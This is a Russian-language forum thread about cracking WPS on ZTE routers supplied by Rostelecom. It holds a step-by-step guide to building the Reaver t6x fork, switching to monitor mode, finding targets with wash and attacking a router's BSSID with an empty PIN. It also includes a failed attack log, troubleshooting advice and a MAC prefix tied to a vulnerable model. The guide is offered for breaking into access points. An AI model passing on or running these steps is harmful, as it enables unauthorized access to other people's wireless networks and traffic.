Можете привести лог? Есть вероятность, что в reaver закрался баг.

С помощью модифицированного Router Scan:

https://forum.antichat.ru/posts/4122981

Но он ещё публично не выпустился.

08:86:3b:d8:2a:6d

Два предложенных из роутер скан, даже не проверяет

Сегодня попробовал, у меня все получилось)

Гайд для владельцев ZTE H118N v2.3 (Ростелеком) (Взлом WPS):

1.Загружаемся в Kali Linux( с флешки)

2.Подключаемся к интернету (через Wi-Fi, или по кабелю)

3.Запускаем терминал

4.Устанавливаем libpcap-dev:

А.sudo apt-get update (обновление репозитория Kali Linux)

Б.sudo apt-get install libpcap-dev (Установка PCAP)

5.Установка Reaver (t6x)

А.git clone https://github.com/t6x/reaver-wps-fork-t6x

Б.cd reaver-wps-fork-t6x*/

cd src/

./configure

make

В.sudo make install

5.Когда установили, перезапускаем Терминал

6.Переводим Wi-Fi адаптер в режим монитора

7.Вводим: airmon-ng kill (убиваем процессы при соединении по Wi-Fi)

8.Ищем через wash -i wlan0mon (вместо wlan0mon вводите название Вашего адаптера в режиме монитора) точку, которую будете ломать

9.Вводим команду (внимательно вводите, чтобы ошибок не было! P.S Вместо wlan0mon вводите ваш адаптер в режиме монитора, BSSID- MAC-Адрес роутера,которого взламываем)

reaver -i wlan0mon -b bssid -vv -p "" -n

10.Все, точка взломана)

Спасибо,Мастер.Вот это мануальчик!

Попробовал на ZXHN H108N но увы...

Switching wlan1mon to channel 1

[+] Waiting for beacon from 74:A7:8E:C1:******

[+] Associated with 74:A7:8E:C1:****** (ESSID: RT-WiFi_****)

[+] Trying pin "-n"

[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received M5 message

[+] Sending M6 message

[!] WARNING: Receive timeout occurred

[+] Sending WSC NACK

[+] Quitting after 1 crack attempts

[-] Failed to recover WPA key
[*] String pin was specified, nothing to save.

Может что не так делаю? Опыта и знаний явно не хватает.

А как должна выглядеть команда для пустого пина?

-p ""

А какие роутеры подаються

к пустым пинам?

Информация уже собирается на 3WiFi.

Две двойные кавычки после -p поставили? Если да, попробуйте убрать -n в конце.

CA:A3:66 - ZTE ZXHN H298N -p ""